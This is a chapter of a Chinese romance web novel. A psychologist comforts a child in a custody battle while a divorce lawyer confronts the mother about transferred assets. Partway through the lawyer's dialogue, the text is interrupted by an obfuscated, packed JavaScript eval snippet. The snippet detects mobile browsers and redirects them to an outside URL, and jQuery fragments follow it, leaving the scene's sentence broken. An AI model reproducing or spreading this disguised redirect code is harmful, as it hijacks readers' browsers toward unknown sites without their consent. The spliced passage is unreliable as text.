11. 心理老师VS离婚律师

作品:《隔着一场漫长异地

    周慕安没走,等在咨询室门口。


    舒晚宁推开门,视线里出现一双棕褐色漆皮皮鞋。她往上抬眼,声音藏不住惊讶:“周律师?”


    秦承跟在舒晚宁身后,和周慕安打过招呼,扬了扬手里几份文件,向办公区走去,把空间留给两人。


    周慕安双手插兜,眉眼舒展,削弱了自身气场:“胳膊还疼吗?”


    舒晚宁没应,她一向接不住周慕安如此直接的关心,像是不给人留任何余地。


    “失眠,是因为胳膊疼的睡不着吗?”


    黑眼圈,又绕到这个问题上来,看来周慕安不是随口一问,是真的关心。


    “还行,周末两天休息的差不多了。”


    舒晚宁和周慕安并排走着,她直视前方,尽量不去在意余光瞥见的那抹炽热。


    电梯门口,没了上次的剑拔弩张,到多了几分老友送别的轻松。


    周慕安抬手腕,看向手表,时针和分针正在勤勤恳恳的工作,几秒后,时针指向了3。


    电梯门开,舒晚宁和面前慌张的女士撞个满怀。


    她退后一步,捂上胳膊一角,心里暗骂倒霉。定睛一看,撞她的人,正是吴女士,吴女士身后,是眼神呆滞,灰头土脸的薇薇。


    ”薇薇?”思考后,语气里有些控制不住的愤怒:“今天不是考试吗?”


    薇薇缩在吴淮身后,有意疏远舒晚宁,死死揪着大人的衣服。


    吴淮则是拉住周慕安的手哭诉:“周律师,你一定要帮我啊!她爸真是疯了,为了让我放弃抚养权,让他妈直接从我家里强行拐走薇薇!。”为了激起周慕安的同情心,她把薇薇推出来:“你看,这孩子跑来找我的路上摔了一跤,脸上都擦伤了....”


    说完,哭的越来越大声。


    周慕安眼神示意前台同事过来帮忙:“照顾一下吴女士。”转身,看向舒晚宁胳膊,眼神闪烁着复杂,眉头紧缩,但还是向舒晚宁开口:“能不能,帮我一个忙?”


    舒晚宁和他对视,又看向手足无措的薇薇,缓缓点头。


    周慕安声音压的极低:“能不能和薇薇聊一下,弄清楚事情的真相?比起我,薇薇会更相信你。”


    “我尽力。”


    交代完,周慕安走过去休息区在吴淮耳边耳语几句,吴淮回头紧盯着舒晚宁。


    舒晚宁隔着一些距离,站到薇薇身侧,朝吴淮微笑点头。


    吴淮跟着周慕安走进会议室,薇薇和舒晚宁则在前台小姐姐的指引下进了儿童娱乐区。


    薇薇双手抱膝坐在海绵垫子上,将头埋进去,肩膀耸动。


    舒晚宁找了几个玩偶放到薇薇身侧,和上次一次盘腿坐下,给足薇薇宣泄的时间。


    薇薇抬起头,喘口气,看到身旁的几个树袋熊玩偶,忽然破涕一笑:“舒老师,我...我哪有那么幼稚啊。”手上早已将玩偶紧紧抱在怀里。


    舒晚宁微笑:“我不觉得你幼稚啊,我是想邀请它们,和我一样,来陪着你。”


    薇薇在吴淮面前,表现的胆小,懦弱,可只有舒晚宁知道,她其实是在反向安慰自己的母亲。只有表现出依赖,才能让养育者觉得安全。


    需要安全感的不是薇薇,是吴淮。


    林薇薇放下玩偶,和舒晚宁开起玩笑,口中是放不下的试探:“舒老师,你说我这么胆小幼稚,我妈妈会担心我吗?”


    此话一出,动摇了舒晚宁对于薇薇今日表现的判断。


    “薇薇,在我面前,你可以做你自己。”


    “不用装,不用害怕,尽管表达。”


    这下轮到林薇薇惊叹;“舒老师,你....你竟然觉得都是我在表演?”


    舒晚宁笑而不语,但笑容里天然带着一种强大的清醒和治愈。


    林薇薇胸口起伏,手脚发麻,眨眼的功夫,睫毛上的眼泪滴在海绵垫上,让浅蓝色有了渐变,成了深蓝色。


    薇薇彻底服气后,对舒晚宁开诚布公:“我今天没去考试。”她娓娓道来,和她写高分作文一样得心应手,关键只在于她愿不愿意讲出来。


    “考不了第一,爸妈还是会离婚。上次我听了你的话,确实能放松几日,妈妈对我的态度也变温和许多,可我总在想,她的态度转变,是因为打官司,还是真的爱我呢?”


    “父母离婚,我谁也不想跟,我想找个蜗牛的壳,在里面舒舒服服的待着。”林薇薇费力将口水咽下:“都要离婚了,还不消停。打电话也能吵,我跟着谁,谁就不用给抚养费。我爸带着我奶奶来家里,将我带去乡下,没收我的电话手表。并且警告我,别和我妈联系。”


    最后一句话,林薇薇手指狠狠掐入掌心:“我是累赘吗?”


    舒晚宁听完,见林薇薇刻意隐瞒回来的方法,也没多问什么:“薇薇,我可以抱抱你吗?”


    林薇薇点头,舒晚宁跪坐着,张开双臂,将林薇薇搂入怀里。洗衣粉的香味传入林薇薇鼻腔里,让她心安,只盼着能在这个温暖的怀里多待几秒。


    “老师,我跟谁呢?”


    “你想跟谁?”


    “我想一个人。”


    舒晚宁轻抚着薇薇的后背:“薇薇,你现在不够强大,在没有能力改变规则的前提下,只能顺应规则。等你18岁成年后,能够为自己的选择负责,你想做什么决定都可以。你现在,请先把自己找到。”


    薇薇离开怀抱,眼睛亮了,很快又被迷茫取代:“找到自己?”


    “是啊,想想自己要成为一个什么样的人,这期间,你可以无数次的失败,犯错,这是你的权利。你的妈妈、爸爸、奶奶,是你内心恐惧的缩影,你真正害怕的是被抛弃,而非害怕某一个。”


    舒晚宁目光逐渐坚毅:“你要克服的,面对的,只有你自己。”


    林薇薇似懂非懂的点头。


    另一边的会议室内,吴淮滔滔不绝的讲述着前夫的“罪行”,哭湿了三张纸巾。


    周慕安出声打断:“吴女士,您现在陈述,与本案无关。”


    吴淮用纸巾擦着鼻涕,精致的妆容一去不复返,双眼满是绝望:“周律师,你看不出来我有多惨吗?有没有点同情心?”


    周慕安点头,在文件上写下:情绪不稳定几个字。抬头,向座椅后靠去:“吴女士,我是您的代理律师,现在的局面是前夫出轨,对于您是有利局面,您不必太过悲观。”话锋一转,变得不客气:“我也想让您明白,欺骗代理律师,是不诚信,不负责的行为,对您没有好处。希望您将真实情况,如实告


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586060|205266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知,我们好准备下一步开庭方案计划。”


    吴淮被说的一头雾水:“我哪里骗你了?”


    周慕安打开手里的iPad,将照片摆到吴淮面前,敲了敲桌子:“上面的照片,是您离婚前一个刻意转移财产,留下的的海外银行账号。”


    吴淮拿起来一看,哭的更猛:“是啊,我为林家生儿育女这么多年,没有功劳也有苦劳吧?!姓林的,连开几个银行账号以为我不知道?”,眼里折射出凶狠的光:“我早就把不动产转移到薇薇名下了。他和他妈,趁我不在,把薇薇拐去乡下!把我逼急了,我什么都能做出来。”


    周慕安听到意料之中的答案,微微点头。他不急着表态,想看吴淮还能透露什么有效的信息。


    “我不管他和谁在一起,但是让薇薇跟着他,做梦吧!”


    “您一开始,就应该坦诚告诉我。若是被对方律师知道,我们会很被动。”


    “我怕你和他一伙,我谁也不敢相信。”


    吴淮,一个有野心,也有能力的女人,周慕安其实对她多了些欣赏,她毫不掩饰的野心,正是她翻盘的机会。


    “好的吴女士,下次开庭前,希望您管理好自己的情绪,找到一份稳定的工作。至于薇薇,我会向法院申诉,林家属于藏匿、抢夺子女行为,是严重的侵权行为,您要有心理准备。”


    吴淮听到周慕安的承诺,松了口气。


    周慕安和吴淮,一前一后来到儿童娱乐区。薇薇见到母亲,又恢复成了胆小、依赖的模样。


    舒晚宁站在林薇薇身后,朝周慕安小幅度摇头。


    见状,周慕安的心蓦然沉下去。


    临走前,林薇薇深深看了舒晚宁一眼,随后哭着牵着吴淮的手。薇薇纵然是装的,情绪俨然半真半假,可舒晚宁的心里,还是闷闷的。


    周慕安坐到一旁的座椅上,率先开口:“薇薇说了什么,真是林家上门?”


    舒晚宁站着,双手抱臂,不答反问:“吴女士情绪如此不稳定,确实不适合抚养薇薇。我建议先给薇薇做一次专业心理评估,看看薇薇的情况。”


    周慕安没听到想要的回答,又重复了一遍,语气染上不满:“舒小姐,我很感激你留下陪着薇薇,你需要告诉我,事情的真相,我要根据这个来判断下一步如何走。”


    “周律师,我不能回答您,我现在说,是对薇薇不负责任。我知道法庭会采用未成年子女的意见作为判案参考,但薇薇,即便她未成年,她也是一个活生生的人。”


    周慕安嗤笑,像是在嘲笑舒晚宁的天真:“舒老师,未成年子女的意愿只能作为参考,不是决定因素,法官也不会因为薇薇的心理评估报告就改变注意,如果真像你说得那样,律师岂不是都失业了?”


    “周律师不用给我普法,我只是站在薇薇的角度来考虑,天然和您立场不同。”


    说完,舒晚宁头也不回走出娱乐区。


    周慕安俯身,双手交握,思索着舒晚宁的建议,越想越觉得荒谬。


    他有意控制时间,让吴淮和舒晚宁撞见,本意是想让舒晚宁去探探薇薇的口风,结果反被教育一通。


    周慕安扯着领口,烦闷之余看着窗外乌云笼罩的天空,那是暴风雨来临前的宁静。